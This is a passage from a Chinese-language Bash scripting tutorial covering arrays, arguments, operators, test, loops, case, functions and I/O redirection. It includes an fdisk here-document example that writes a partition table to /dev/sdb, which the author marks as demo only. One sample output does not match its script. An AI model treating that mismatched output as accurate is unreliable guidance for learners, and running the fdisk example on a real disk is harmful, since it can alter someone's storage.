数组名=(值1 值2 ... 值n) ``` 例如 ```sh array_name=(value0 value1 value2 value3) # 还可以单独定义数组的各个分量 array_name[0]=value0 array_name[1]=value1 array_name[n]=valuen # 可以不使用连续的下标,而且下标的范围没有限制。 ``` **读取数组** 读取数组元素值的一般格式是 ``` ${数组名[下标]} ``` 例如 ```sh valuen=${array_name[n]} # 使用 @ 符号可以获取数组中的所有元素 echo ${array_name[@]} ``` **获取数组的长度** 获取数组长度的方法与获取字符串长度的方法相同 ```sh # 取得数组元素的个数 length=${#array_name[@]} # 或者 length=${#array_name[*]} # 取得数组单个元素的长度 lengthn=${#array_name[n]} ``` --- ## 传递参数 我们可以在执行 Shell 脚本时,向脚本传递参数,脚本内获取参数的格式为:$n。n 代表一个数字,1 为执行脚本的第一个参数,2 为执行脚本的第二个参数,以此类推…… 以下实例我们向脚本传递三个参数,并分别输出,其中 $0 为执行的文件名: ```sh #!/bin/bash echo "Shell 传递参数实例!"; echo "执行的文件名:$0"; echo "第一个参数为:$1"; echo "第二个参数为:$2"; echo "第三个参数为:$3"; ``` ```bash chmod +x test.sh ./test.sh 1 2 3 Shell 传递参数实例! 第一个参数为:1 参数个数为:3 传递的参数作为一个字符串显示:1 2 3 ``` 特殊字符用来处理参数 - `$#` : 传递到脚本的参数个数 - `$*` : 以一个单字符串显示所有向脚本传递的参数。 如"$*"用「"」括起来的情况、以"$1 $2 … $n"的形式输出所有参数。 - `$$` : 脚本运行的当前进程 ID 号 - `$!` : 后台运行的最后一个进程的 ID 号 - `$@` : 与 $* 相同,但是使用时加引号,并在引号中返回每个参数。 如"$@"用「"」括起来的情况、以"$1" "$2" … "$n" 的形式输出所有参数。 - `$-` : 显示 Shell 使用的当前选项,与 set 命令功能相同。 - `$?` : 显示最后命令的退出状态。0 表示没有错误,其他任何值表明有错误。 ```sh #!/bin/bash echo "Shell 传递参数实例!"; echo "第一个参数为:$1"; echo "参数个数为:$#"; echo "传递的参数作为一个字符串显示:$*"; ``` ```bash chmod +x test.sh ./test.sh 1 2 3 Shell 传递参数实例! 第一个参数为:1 参数个数为:3 传递的参数作为一个字符串显示:1 2 3 ``` 传递的参数中如果包含空格,应该使用单引号或者双引号将该参数括起来,以便于脚本将这个参数作为整体来接收。 **`$*` 与 `$@` 区别** - 相同点:都是引用所有参数。 - 不同点:只有在双引号中体现出来。假设在脚本运行时写了三个参数 1、2、3,,则 " * " 等价于 "1 2 3"(传递了一个参数),而 "@" 等价于 "1" "2" "3"(传递了三个参数)。 ```sh #!/bin/bash echo "-- \$* 演示 ---" for i in "$*"; do echo $i done echo "-- \$@ 演示 ---" for i in "$@"; do echo $i done ``` ``` $ chmod +x test.sh $ ./test.sh 1 2 3 -- $* 演示 --- 1 2 3 -- $@ 演示 --- 1 2 3 ``` --- ## 基本运算符 Shell 和其他编程语言一样,支持多种运算符,包括: - 算数运算符 - 关系运算符 - 布尔运算符 - 字符串运算符 - 文件测试运算符 原生 bash 不支持简单的数学运算,但是可以通过其他命令来实现,例如 awk 和 expr,expr 最常用。 **算术运算符** 假定变量 a 为 10,变量 b 为 20 - `+` 加法 `expr $a + $b` 结果为 30。 - `-` 减法 `expr $a - $b` 结果为 -10。 - `*` 乘法 `expr $a \* $b` 结果为 200。 - `/` 除法 `expr $b / $a` 结果为 2。 - `%` 取余 `expr $b % $a` 结果为 0。 - `=` 赋值 `a=$b` 将把变量 b 的值赋给 a。 - `==` 相等 `[ $a == $b ]` 返回 false。 - `!=` 不相等 `[ $a != $b ]` 返回 true。 > 注意:条件表达式要放在方括号之间,并且要有空格,例如: `[$a==$b]` 是错误的,必须写成 `[ $a == $b ]` ```sh #!/bin/bash a=10 b=20 val=`expr $a + $b` echo "a + b : $val" val=`expr $a - $b` echo "a - b : $val" val=`expr $a \* $b` # 乘号(*)前边必须加反斜杠(\)才能实现乘法运算; echo "a * b : $val" val=`expr $b / $a` echo "b / a : $val" val=`expr $b % $a` echo "b % a : $val" if [ $a == $b ] then echo "a 等于 b" fi if [ $a != $b ] then echo "a 不等于 b" fi ``` ``` a + b : 30 a - b : -10 a * b : 200 b / a : 2 b % a : 0 a 不等于 b ``` **关系运算符** 关系运算符只支持数字,不支持字符串,除非字符串的值是数字。 假定变量 a 为 10,变量 b 为 20 - `-eq` 检测两个数是否相等,相等返回 true。 `[ $a -eq $b ]` 返回 false。 - `-ne` 检测两个数是否不相等,不相等返回 true。 `[ $a -ne $b ]` 返回 true。 - `-gt` 检测左边的数是否大于右边的,如果是,则返回 true。 `[ $a -gt $b ]` 返回 false。 - `-lt` 检测左边的数是否小于右边的,如果是,则返回 true。 `[ $a -lt $b ]` 返回 true。 - `-ge` 检测左边的数是否大于等于右边的,如果是,则返回 true。 `[ $a -ge $b ]` 返回 false。 - `-le` 检测左边的数是否小于等于右边的,如果是,则返回 true。 `[ $a -le $b ]` 返回 true。 ```sh #!/bin/bash a=10 b=20 if [ $a -eq $b ] then echo "$a -eq $b : a 等于 b" else echo "$a -eq $b: a 不等于 b" fi if [ $a -ne $b ] then echo "$a -ne $b: a 不等于 b" else echo "$a -ne $b : a 等于 b" fi if [ $a -gt $b ] then echo "$a -gt $b: a 大于 b" else echo "$a -gt $b: a 不大于 b" fi if [ $a -lt $b ] then echo "$a -lt $b: a 小于 b" else echo "$a -lt $b: a 不小于 b" fi if [ $a -ge $b ] then echo "$a -ge $b: a 大于或等于 b" else echo "$a -ge $b: a 小于 b" fi if [ $a -le $b ] then echo "$a -le $b: a 小于或等于 b" else echo "$a -le $b: a 大于 b" fi ``` ``` 10 -eq 20: a 不等于 b 10 -ne 20: a 不等于 b 10 -gt 20: a 不大于 b 10 -lt 20: a 小于 b 10 -ge 20: a 小于 b 10 -le 20: a 小于或等于 b ``` **布尔运算符** 假定变量 a 为 10,变量 b 为 20 - `!` 非运算,表达式为 true 则返回 false,否则返回 true。`[ ! false ]` 返回 true。 - `-o` 或运算,有一个表达式为 true 则返回 true。 `[ $a -lt 20 -o $b -gt 100 ]` 返回 true。 - `-a` 与运算,两个表达式都为 true 才返回 true。 `[ $a -lt 20 -a $b -gt 100 ]` 返回 false。 ```sh #!/bin/bash a=10 b=20 if [ $a != $b ] then echo "$a != $b : a 不等于 b" else echo "$a == $b: a 等于 b" fi if [ $a -lt 100 -a $b -gt 15 ] then echo "$a 小于 100 且 $b 大于 15 : 返回 true" else echo "$a 小于 100 且 $b 大于 15 : 返回 false" fi if [ $a -lt 100 -o $b -gt 100 ] then echo "$a 小于 100 或 $b 大于 100 : 返回 true" else echo "$a 小于 100 或 $b 大于 100 : 返回 false" fi if [ $a -lt 5 -o $b -gt 100 ] then echo "$a 小于 5 或 $b 大于 100 : 返回 true" else echo "$a 小于 5 或 $b 大于 100 : 返回 false" fi ``` ``` 10 != 20 : a 不等于 b 10 小于 100 且 20 大于 15 : 返回 true 10 小于 100 或 20 大于 100 : 返回 true 10 小于 5 或 20 大于 100 : 返回 false ``` **逻辑运算符** 假定变量 a 为 10,变量 b 为 20 - `&&` 逻辑的 AND `[[ $a -lt 100 && $b -gt 100 ]]` 返回 false - `||` 逻辑的 OR `[[ $a -lt 100 || $b -gt 100 ]]` 返回 true ```sh #!/bin/bash a=10 b=20 if [[ $a -lt 100 && $b -gt 100 ]] then echo "返回 true" else echo "返回 false" fi if [[ $a -lt 100 || $b -gt 100 ]] then echo "返回 true" else echo "返回 false" fi ``` ``` 返回 false 返回 true ``` **字符串运算符** 假定变量 a 为 "abc",变量 b 为 "efg" - `=` 检测两个字符串是否相等,相等返回 true。 `[ $a = $b ]` 返回 false。 - `!=` 检测两个字符串是否相等,不相等返回 true。 `[ $a != $b ]` 返回 true。 - `-z` 检测字符串长度是否为0,为0返回 true。 `[ -z $a ]` 返回 false。 - `-n` 检测字符串长度是否为0,不为0返回 true。 `[ -n "$a" ]` 返回 true。 - `$` 检测字符串是否为空,不为空返回 true。 `[ $a ]` 返回 true。 ```sh #!/bin/bash a="abc" b="efg" if [ $a = $b ] then echo "$a = $b : a 等于 b" else echo "$a = $b: a 不等于 b" fi if [ $a != $b ] then echo "$a != $b : a 不等于 b" else echo "$a != $b: a 等于 b" fi if [ -z $a ] then echo "-z $a : 字符串长度为 0" else echo "-z $a : 字符串长度不为 0" fi if [ -n "$a" ] then echo "-n $a : 字符串长度不为 0" else echo "-n $a : 字符串长度为 0" fi if [ $a ] then echo "$a : 字符串不为空" else echo "$a : 字符串为空" fi ``` ``` abc = efg: a 不等于 b abc != efg : a 不等于 b -z abc : 字符串长度不为 0 -n abc : 字符串长度不为 0 abc : 字符串不为空 ``` **文件测试运算符** - `-b file` 检测文件是否是块设备文件,如果是,则返回 true。 `[ -b $file ]` 返回 false。 - `-c file` 检测文件是否是字符设备文件,如果是,则返回 true。 `[ -c $file ]` 返回 false。 - `-d file` 检测文件是否是目录,如果是,则返回 true。 `[ -d $file ]` 返回 false。 - `-f file` 检测文件是否是普通文件(既不是目录,也不是设备文件),如果是,则返回 true。 `[ -f $file ]` 返回 true。 - `-g file` 检测文件是否设置了 SGID 位,如果是,则返回 true。 `[ -g $file ]` 返回 false。 - `-k file` 检测文件是否设置了粘着位(Sticky Bit),如果是,则返回 true。 `[ -k $file ]` 返回 false。 - `-p file` 检测文件是否是有名管道,如果是,则返回 true。 `[ -p $file ]` 返回 false。 - `-u file` 检测文件是否设置了 SUID 位,如果是,则返回 true。 `[ -u $file ]` 返回 false。 - `-r file` 检测文件是否可读,如果是,则返回 true。 `[ -r $file ]` 返回 true。 - `-w file` 检测文件是否可写,如果是,则返回 true。 `[ -w $file ]` 返回 true。 - `-x file` 检测文件是否可执行,如果是,则返回 true。 `[ -x $file ]` 返回 true。 - `-s file` 检测文件是否为空(文件大小是否大于0),不为空返回 true。 `[ -s $file ]` 返回 true。 - `-e file` 检测文件(包括目录)是否存在,如果是,则返回 true。 `[ -e $file ]` 返回 true。 - -S: 判断某文件是否 socket。 - -L: 检测文件是否存在并且是一个符号链接。 变量 file 表示文件 `/var/www/test.sh`,它的大小为 100 字节,具有 rwx 权限。下面的代码,将检测该文件的各种属性: ```sh #!/bin/bash file="/var/www/test.sh" if [ -r $file ] then echo "文件可读" else echo "文件不可读" fi if [ -w $file ] then echo "文件可写" else echo "文件不可写" fi if [ -x $file ] then echo "文件可执行" else echo "文件不可执行" fi if [ -f $file ] then echo "文件为普通文件" else echo "文件为特殊文件" fi if [ -d $file ] then echo "文件是个目录" else echo "文件不是个目录" fi if [ -s $file ] then echo "文件不为空" else echo "文件为空" fi if [ -e $file ] then echo "文件存在" else echo "文件不存在" fi ``` ``` 文件可读 文件可写 文件可执行 文件为普通文件 文件不是个目录 文件不为空 文件存在 ``` --- ## 基础命令 ### echo命令 Shell 的 echo 指令与 PHP 的 echo 指令类似,都是用于字符串的输出。命令格式: ```sh echo string ``` **显示普通字符串** ```sh echo "It is a test" # 这里的双引号完全可以省略,以下命令与上面实例效果一致: echo It is a test ``` **显示转义字符** ```sh echo "\"It is a test\"" ``` ``` "It is a test" ``` **显示变量** read 命令从标准输入中读取一行,并把输入行的每个字段的值指定给 shell 变量 ```sh #!/bin/sh read name echo "$name It is a test" ``` 以上代码保存为 test.sh,name 接收标准输入的变量,结果将是: ``` ./test.sh OK #标准输入 OK It is a test #输出 ``` **显示换行** ```sh echo -e "OK! \n" # -e 开启转义 echo "It is a test" ``` ``` OK! It is a test ``` **显示不换行** ```sh #!/bin/sh echo -e "OK! \c" # -e 开启转义 \c 不换行 echo "It is a test" ``` ``` OK! It is a test ``` **显示结果定向至文件** ``` echo "It is a test" > myfile ``` **原样输出字符串,不进行转义或取变量(用单引号)** ``` echo '$name\"' ``` ``` $name\" ``` **显示命令执行结果** ``` echo `date` ``` 注意: 这里使用的是反引号 `, 而不是单引号 '。 结果将显示当前日期 --- ### printf命令 - printf 命令模仿 C 程序库(library)里的 printf() 程序。 - printf 由 POSIX 标准所定义,因此使用 printf 的脚本比使用 echo 移植性好。 - printf 使用引用文本或空格分隔的参数,外面可以在 printf 中使用格式化字符串,还可以制定字符串的宽度、左右对齐方式等。默认 printf 不会像 echo 自动添加换行符,我们可以手动添加 \n。 ```sh printf format-string [arguments...] # format-string: 为格式控制字符串 # arguments: 为参数列表。 ``` ```sh $ echo "Hello, Shell" Hello, Shell $ printf "Hello, Shell\n" Hello, Shell $ ``` ```sh #!/bin/bash printf "%-10s %-8s %-4s\n" 姓名 性别 体重kg printf "%-10s %-8s %-4.2f\n" 郭靖 男 66.1234 printf "%-10s %-8s %-4.2f\n" 杨过 男 48.6543 printf "%-10s %-8s %-4.2f\n" 郭芙 女 47.9876 ``` ``` 姓名 性别 体重kg 郭靖 男 66.12 杨过 男 48.65 郭芙 女 47.99 ``` - %s %c %d %f 都是格式替代符 - %-10s 指一个宽度为10个字符(-表示左对齐,没有则表示右对齐),任何字符都会被显示在10个字符宽的字符内,如果不足则自动以空格填充,超过也会将内容全部显示出来。 - %-4.2f 指格式化为小数,其中.2指保留2位小数。 ```sh #!/bin/bash # format-string 为双引号 printf "%d %s\n" 1 "abc" # 单引号与双引号效果一样 printf '%d %s\n' 1 "abc" # 没有引号也可以输出 printf %s abcdef # 格式只指定了一个参数,但多出的参数仍然会按照该格式输出,format-string 被重用 printf %s abc def printf "%s\n" abc def printf "%s %s %s\n" a b c d e f g h i j # 如果没有 arguments,那么 %s 用NULL代替,%d 用 0 代替 printf "%s and %d \n" ``` ``` 1 abc 1 abc abcdefabcdefabc def a b c d e f g h i j and 0 ``` --- ### test命令 test 命令用于检查某个条件是否成立,它可以进行数值、字符和文件三个方面的测试。 **数值测试** - `-eq` 等于则为真 - `-ne` 不等于则为真 - `-gt` 大于则为真 - `-ge` 大于等于则为真 - `-lt` 小于则为真 - `-le` 小于等于则为真 ```sh num1=100 num2=100 if test $[num1] -eq $[num2] then echo '两个数相等!' else echo '两个数不相等!' fi ``` ``` 两个数相等! ``` 代码中的 [] 执行基本的算数运算 ```sh #!/bin/bash a=5 b=6 result=$[a+b] # 注意等号两边不能有空格 echo "result 为: $result" ``` ``` result 为: 11 ``` **字符串测试** - `=` 等于则为真 - `!=` 不相等则为真 - `-z 字符串` 字符串的长度为零则为真 - `-n 字符串` 字符串的长度不为零则为真 ```sh #!/bin/bash num1="test" num2="te5t" if test $num1 = $num2 then echo '两个字符串相等!' else echo '两个字符串不相等!' fi ``` ``` 两个字符串不相等! ``` **文件测试** - `-e 文件名` 如果文件存在则为真 - `-r 文件名` 如果文件存在且可读则为真 - `-w 文件名` 如果文件存在且可写则为真 - `-x 文件名` 如果文件存在且可执行则为真 - `-s 文件名` 如果文件存在且至少有一个字符则为真 - `-d 文件名` 如果文件存在且为目录则为真 - `-f 文件名` 如果文件存在且为普通文件则为真 - `-c 文件名` 如果文件存在且为字符型特殊文件则为真 - `-b 文件名` 如果文件存在且为块特殊文件则为真 ```sh cd /bin if test -e ./bash then echo '文件已存在!' else echo '文件不存在!' fi ``` ``` 文件已存在! ``` 另外,Shell还提供了与( -a )、或( -o )、非( ! )三个逻辑操作符用于将测试条件连接起来,其优先级为:"!"最高,"-a"次之,"-o"最低。例如: ``` cd /bin if test -e ./notFile -o -e ./bash then echo '至少有一个文件存在!' else echo '两个文件都不存在' fi ``` ``` 至少有一个文件存在! ``` --- ## 流程控制 和 Java、PHP 等语言不一样,sh 的流程控制不可为空,如(以下为 PHP 流程控制写法): ```php <?php if (isset($_GET["q"])) { search(q); } else { // 不做任何事情 } ``` 在 sh/bash 里不行,如果 else 分支没有语句执行,就不要写这个 else。 ### if if 语句语法格式: ```sh if condition then command1 command2 ... commandN fi ``` 写成一行(适用于终端命令提示符): ```sh if [ $(ps -ef | grep -c "ssh") -gt 1 ]; then echo "true"; fi ``` 末尾的 fi 就是 if 倒过来拼写,后面还会遇到类似的。 if else 语法格式: ```sh if condition then command1 command2 ... commandN else command fi ``` if else-if else 语法格式: ```sh if condition1 then command1 elif condition2 then command2 else commandN fi ``` 以下实例判断两个变量是否相等: ```sh a=10 b=20 if [ $a == $b ] then echo "a 等于 b" elif [ $a -gt $b ] then echo "a 大于 b" elif [ $a -lt $b ] then echo "a 小于 b" else echo "没有符合的条件" fi ``` ``` a 小于 b ``` if else 语句经常与 test 命令结合使用,如下所示: ```sh num1=$[2*3] num2=$[1+5] if test $[num1] -eq $[num2] then echo '两个数字相等!' else echo '两个数字不相等!' fi ``` ``` 两个数字相等! ``` > 以下部分来自 : https://zorrozou.github.io/docs/books/shellbian-cheng-zhi-yu-fa-ji-chu.html ```bash #!/bin/bash DIR="/etc" #第一种写法 ls -l $DIR &> /dev/null ret=$? if [ $ret -eq 0 ] then echo "$DIR is exist!" else echo "$DIR is not exist!" fi #第二种写法 if ls -l $DIR &> /dev/null then echo "$DIR is exist!" else echo "$DIR is not exist!" fi ``` 我曾经在无数的脚本中看到这里的第一种写法,先执行某个命令,然后记录其返回值,再使用 `[]` 进行分支判断。我想,这样写的人应该都是没有真正理解if语法的语义,导致做出了很多脱了裤子再放屁的事情。当然,if语法中后面最常用的命令就是`[]`。请注意我的描述中就是说`[]`是一个命令,而不是别的。实际上这也是bash编程新手容易犯错的地方之一,尤其是有其他编程经验的人,在一开始接触bash编程的时候都是将`[]`当成if语句的语法结构,于是经常在写`[]`的时候里面不写空格,即: ```bash #正确的写法 if [ $ret -eq 0 ] #错读的写法 if [$ret -eq 0] ``` 同样的,当我们理解清楚了`[]`本质上是一个shell命令的时候,大家就知道这个错误是为什么了:命令加参数要用空格分隔。我们可以用type命令去检查一个命令: ```bash [zorro@zorrozou-pc0 bash]$ type [ [ is a shell builtin ``` 所以,实际上`[]`是一个内建命令,等同于test命令。所以上面的if语句也可以写成: ```bash if test $ret -eq 0 ``` ### for for 循环一般格式为: ```sh for var in item1 item2 ... itemN do command1 command2 ... commandN done ``` 写成一行: ```sh for var in item1 item2 ... itemN; do command1; command2… done; ``` 当变量值在列表里,for 循环即执行一次所有命令,使用变量名获取列表中的当前取值。命令可为任何有效的 shell 命令和语句。in 列表可以包含替换、字符串和文件名。 in 列表是可选的,如果不用它,for 循环使用命令行的位置参数。 例如,顺序输出当前列表中的数字: ```sh for loop in 1 2 3 4 5 do echo "The value is: $loop" done ``` ``` The value is: 1 The value is: 2 The value is: 3 The value is: 4 The value is: 5 ``` 顺序输出字符串中的字符 ``` for str in 'This is a string' do echo $str done ``` ``` This is a string ``` ### while while 循环用于不断执行一系列命令,也用于从输入文件中读取数据;命令通常为测试条件。其格式为: ```sh while condition do command done ``` 以下是一个基本的 while 循环,测试条件是:如果 int 小于等于 5,那么条件返回真。int 从 0 开始,每次循环处理时,int 加 1。运行上述脚本,返回数字 1 到 5,然后终止。 ```sh #!/bin/bash int=1 while(( $int<=5 )) do echo $int let "int++" done ``` ``` 1 2 3 4 5 ``` while 循环可用于读取键盘信息。下面的例子中,输入信息被设置为变量 FILM,按 `<Ctrl-D>` 结束循环。 ```sh echo '按下 <CTRL-D> 退出' echo -n '输入你最喜欢的网站名: ' while read FILM do echo "是的!$FILM 是一个好网站" done ``` 无限循环语法格式 ```sh while : do command done ``` ```sh for (( ; ; )) ``` ### until until 循环执行一系列命令直至条件为 true 时停止。 until 循环与 while 循环在处理方式上刚好相反。 一般 while 循环优于 until 循环,但在某些时候—也只是极少数情况下,until 循环更加有用。 until 语法格式 ```sh until condition do command done ``` condition 一般为条件表达式,如果返回值为 false,则继续执行循环体内的语句,否则跳出循环。 以下实例我们使用 until 命令来输出 0 ~ 9 的数字 ```sh #!/bin/bash a=0 until [ ! $a -lt 10 ] do echo $a a=`expr $a + 1` done ``` ``` 0 1 2 3 4 5 6 7 8 9 ``` ### case case 的语法需要一个 esac(就是 case 反过来)作为结束标记,每个 case 分支用右圆括号,用两个分号表示 break 可以用 case 语句匹配一个值与一个模式,如果匹配成功,执行相匹配的命令。case 语句格式如下: ```sh case 值 in 模式1) command1 command2 ... commandN ;; 模式2) command1 command2 ... commandN ;; esac ``` case 工作方式如上所示。取值后面必须为单词 in,每一模式必须以右括号结束。取值可以为变量或常数。匹配发现取值符合某一模式后,其间所有命令开始执行直至 `;;`。 case支持合并匹配模式,即在每一个模式中,可以使用通配符或逻辑符号。 取值将检测匹配的每一个模式。一旦模式匹配,则执行完匹配模式相应命令后不再继续其他模式。如果无一匹配模式,使用星号 * 捕获该值,再执行后面的命令。 下面的脚本提示输入 1 到 4,与每一种模式进行匹配: ```sh echo '输入 1 到 4 之间的数字:' echo '你输入的数字为:' read aNum case $aNum in 1) echo '你选择了 1' ;; 2) echo '你选择了 2' ;; 3) echo '你选择了 3' ;; 4) echo '你选择了 4' ;; *) echo '你没有输入 1 到 4 之间的数字' ;; esac ``` ``` 输入 1 到 4 之间的数字: 你输入的数字为: 3 你选择了 3 ``` ### 跳出循环 在循环过程中,有时候需要在未达到循环结束条件时强制跳出循环,Shell 使用两个命令来实现该功能:break 和 continue。 **break** break 命令允许跳出所有循环(终止执行后面的所有循环)。 下面的例子中,脚本进入死循环直至用户输入数字大于 5。要跳出这个循环,返回到 shell 提示符下,需要使用 break 命令。 ```sh #!/bin/bash while : do echo -n "输入 1 到 5 之间的数字:" read aNum case $aNum in 1|2|3|4|5) echo "你输入的数字为 $aNum!" ;; *) echo "你输入的数字不是 1 到 5 之间的! 游戏结束" break ;; esac done ``` ``` 输入 1 到 5 之间的数字:3 你输入的数字为 3! 输入 1 到 5 之间的数字:7 你输入的数字不是 1 到 5 之间的! 游戏结束 ``` **continue** continue 命令与 break 命令类似,只有一点差别,它不会跳出所有循环,仅仅跳出当前循环。 对上面的例子进行修改 ```sh #!/bin/bash while : do echo -n "输入 1 到 5 之间的数字: " read aNum case $aNum in 1|2|3|4|5) echo "你输入的数字为 $aNum!" ;; *) echo "你输入的数字不是 1 到 5 之间的!" continue echo "游戏结束" ;; esac done ``` 运行代码发现,当输入大于 5 的数字时,该例中的循环不会结束,语句 echo "游戏结束" 永远不会被执行。 **case ... esac** case ... esac 与其他语言中的 switch ... case 语句类似,是一种多分枝选择结构,每个 case 分支用右圆括号开始,用两个分号 `;;` 表示 break,即执行结束,跳出整个 case ... esac 语句,esac(就是 case 反过来)作为结束标记。 case ... esac 语法格式如下: ```sh case 值 in 模式1) command1 command2 command3 ;; 模式2) command1 command2 command3 ;; *) command1 command2 command3 ;; esac ``` case 后为取值,值可以为变量或常数。 值后为关键字 in,接下来是匹配的各种模式,每一模式最后必须以右括号结束,模式支持正则表达式。 ```sh #!/bin/sh site="github" case "$site" in "github") echo "github" ;; "google") echo "Google" ;; "taobao") echo "taobao" ;; esac ``` ``` github ``` --- ## 函数 linux shell 可以用户定义函数,然后在 shell 脚本中可以随便调用。 shell 中函数的定义格式如下 ```sh [ function ] funname [()] { action; [return int;] } ``` 1. 可以带 `function fun()` 定义,也可以直接 `fun()` 定义,不带任何参数。 2. 参数返回,可以显示加:return 返回,如果不加,将以最后一条命令运行结果,作为返回值。 下面的例子定义了一个函数并进行调用 ```sh #!/bin/bash demoFun(){ echo "这是我的第一个 shell 函数!" } echo "-----函数开始执行-----" demoFun echo "-----函数执行完毕-----" ``` ``` -----函数开始执行----- 这是我的第一个 shell 函数! -----函数执行完毕----- ``` 下面定义一个带有 return 语句的函数 ```sh #!/bin/bash funWithReturn(){ echo "这个函数会对输入的两个数字进行相加运算..." echo "输入第一个数字: " read aNum echo "输入第二个数字: " read anotherNum echo "两个数字分别为 $aNum 和 $anotherNum !" return $(($aNum+$anotherNum)) } funWithReturn echo "输入的两个数字之和为 $? !" ``` ``` 这个函数会对输入的两个数字进行相加运算... 输入第一个数字: 1 输入第二个数字: 2 两个数字分别为 1 和 2 ! 输入的两个数字之和为 3 ! ``` 函数返回值在调用该函数后通过 `$?` 来获得。 注意:所有函数在使用前必须定义。这意味着必须将函数放在脚本开始部分,直至 shell 解释器首次发现它时,才可以使用。调用函数仅使用其函数名即可。 **函数参数** 在 Shell 中,调用函数时可以向其传递参数。在函数体内部,通过 `$n` 的形式来获取参数的值,例如,`$1` 表示第一个参数,`$2` 表示第二个参数... 带参数的函数示例 ```sh #!/bin/bash funWithParam(){ echo "第一个参数为 $1 !" echo "第二个参数为 $2 !" echo "第十个参数为 $10 !" echo "第十个参数为 ${10} !" echo "第十一个参数为 ${11} !" echo "参数总数有 $# 个!" echo "作为一个字符串输出所有参数 $* !" } funWithParam 1 2 3 4 5 6 7 8 9 34 73 ``` ``` 第一个参数为 1 ! 第二个参数为 2 ! 第十个参数为 10 ! 第十个参数为 34 ! 第十一个参数为 73 ! 参数总数有 11 个! 作为一个字符串输出所有参数 1 2 3 4 5 6 7 8 9 34 73 ! ``` 注意,`$10` 不能获取第十个参数,获取第十个参数需要 `${10}`。当 n>=10 时,需要使用 `${n}` 来获取参数。 还有几个特殊字符用来处理参数 - `$#` 传递到脚本的参数个数 - `$*` 以一个单字符串显示所有向脚本传递的参数 - `$$` 脚本运行的当前进程 ID 号 - `$!` 后台运行的最后一个进程的 ID 号 - `$@` 与 $* 相同,但是使用时加引号,并在引号中返回每个参数。 - `$-` 显示 Shell 使用的当前选项,与 set 命令功能相同。 - `$?` 显示最后命令的退出状态。0 表示没有错误,其他任何值表明有错误。 --- ## 输入输出重定向 大多数 UNIX 系统命令从你的终端接受输入并将所产生的输出发送回到你的终端。一个命令通常从一个叫标准输入的地方读取输入,默认情况下,这恰好是你的终端。同样,一个命令通常将其输出写入到标准输出,默认情况下,这也是你的终端。 重定向命令列表如下 - `command > file` 将输出重定向到 file。 - `command < file` 将输入重定向到 file。 - `command >> file` 将输出以追加的方式重定向到 file。 - `n > file` 将文件描述符为 n 的文件重定向到 file。 - `n >> file` 将文件描述符为 n 的文件以追加的方式重定向到 file。 - `n >& m` 将输出文件 m 和 n 合并。 - `n <& m` 将输入文件 m 和 n 合并。 - `<< tag` 将开始标记 tag 和结束标记 tag 之间的内容作为输入。 `需要注意的是文件描述符 0 通常是标准输入(STDIN),1 是标准输出(STDOUT),2 是标准错误输出(STDERR)。` **输出重定向** 重定向一般通过在命令间插入特定的符号来实现。特别的,这些符号的语法如下所示: `command1 > file1` 上面这个命令执行 command1 然后将输出的内容存入 file1。 注意任何 file1 内的已经存在的内容将被新内容替代。如果要将新内容添加在文件末尾,请使用 `>>` 操作符。 执行下面的 who 命令,它将命令的完整的输出重定向在用户文件中(users): ```bash who > users ``` 执行后,并没有在终端输出信息,这是因为输出已被从默认的标准输出设备(终端)重定向到指定的文件。输出重定向会覆盖文件内容 **输入重定向** 和输出重定向一样,Unix 命令也可以从文件获取输入,语法为: ```bash command1 < file1 ``` 这样,本来需要从键盘获取输入的命令会转移到文件读取内容。 注意:输出重定向是大于号(>),输入重定向是小于号(<)。 统计 a.txt 文件的行数 ```bash wc -l a.txt ``` 也可以将输入重定向到 a.txt 文件: ```bash wc -l < a.txt ``` 上面两个例子的结果不同:第一个例子,会输出文件名;第二个不会,因为它仅仅知道从标准输入读取内容。 ```bash command1 < infile > outfile ``` 同时替换输入和输出,执行 command1,从文件 infile 读取内容,然后将输出写入到 outfile 中。 一般情况下,每个 Unix/Linux 命令运行时都会打开三个文件: - 标准输入文件(stdin):stdin 的文件描述符为 0,Unix 程序默认从 stdin 读取数据。 - 标准输出文件(stdout):stdout 的文件描述符为 1,Unix 程序默认向 stdout 输出数据。 - 标准错误文件(stderr):stderr 的文件描述符为 2,Unix 程序会向 stderr 流中写入错误信息。 默认情况下,command > file 将 stdout 重定向到 file,command < file 将stdin 重定向到 file。 `2` 表示标准错误文件(stderr) 如果希望 stderr 重定向到 file,可以这样写: ```bash command 2> file ``` 如果希望 stderr 追加到 file 文件末尾,可以这样写: ```sh command 2>> file ``` 如果希望将 stdout 和 stderr 合并后重定向到 file,可以这样写: ```sh command > file 2>&1 # 或 command >> file 2>&1 ``` 如果希望对 stdin 和 stdout 都重定向,可以这样写: ```sh command < file1 >file2 ``` command 命令将 stdin 重定向到 file1,将 stdout 重定向到 file2。 **使用 > /dev/null 抑制标准输出** ```bash cat file.txt > /dev/null ./shell-script.sh > /dev/null ``` **使用 2> /dev/null 抑制标准错误** ```bash cat invalid-file-name.txt 2> /dev/null ./shell-script.sh 2> /dev/null ``` **Here Document** Here Document 是 Shell 中的一种特殊的重定向方式,用来将输入重定向到一个交互式 Shell 脚本或程序。 它的基本的形式如下 ```sh command << delimiter document delimiter ``` 它的作用是将两个 delimiter 之间的内容(document) 作为输入传递给 command。 - 结尾的 delimiter 一定要顶格写,前面不能有任何字符,后面也不能有任何字符,包括空格和 tab 缩进。 - 开始的 delimiter 前后的空格会被忽略掉。 在命令行中通过 wc -l 命令计算 Here Document 的行数: ``` wc -l << EOF hello github www.github.com EOF ``` 将 Here Document 用在脚本中 ```sh #!/bin/bash cat << EOF 欢迎来到 github www.github.com EOF ``` **/dev/null 文件** 如果希望执行某个命令,但又不希望在屏幕上显示输出结果,那么可以将输出重定向到 `/dev/null`: ``` command > /dev/null ``` `/dev/null` 是一个特殊的文件,写入到它的内容都会被丢弃;如果尝试从该文件读取内容,那么什么也读不到。但是 `/dev/null` 文件非常有用,将命令的输出重定向到它,会起到"禁止输出"的效果。 如果希望屏蔽 stdout 和 stderr,可以这样写: ```sh command > /dev/null 2>&1 ``` --- ## 交互 如想在脚本中使用fdisk命令新建一个分区 ```bash #!/bin/bash fdisk /dev/sdb << EOF n p w EOF ``` 注意,仅作演示,不要执行 --- ## 文件包含 和其他语言一样,Shell 也可以包含外部脚本。这样可以很方便的封装一些公用的代码作为一个独立的文件。 Shell 文件包含的语法格式如下: ```sh . filename # 注意点号(.)和文件名中间有一空格 # 或 source filename ``` 创建两个 shell 脚本文件。 test1.sh 代码如下 ```sh #!/bin/bash url="http://www.github.com" ``` test2.sh 代码如下 ```sh #!/bin/bash #使用 . 号来引用test1.sh 文件 . ./test1.sh # 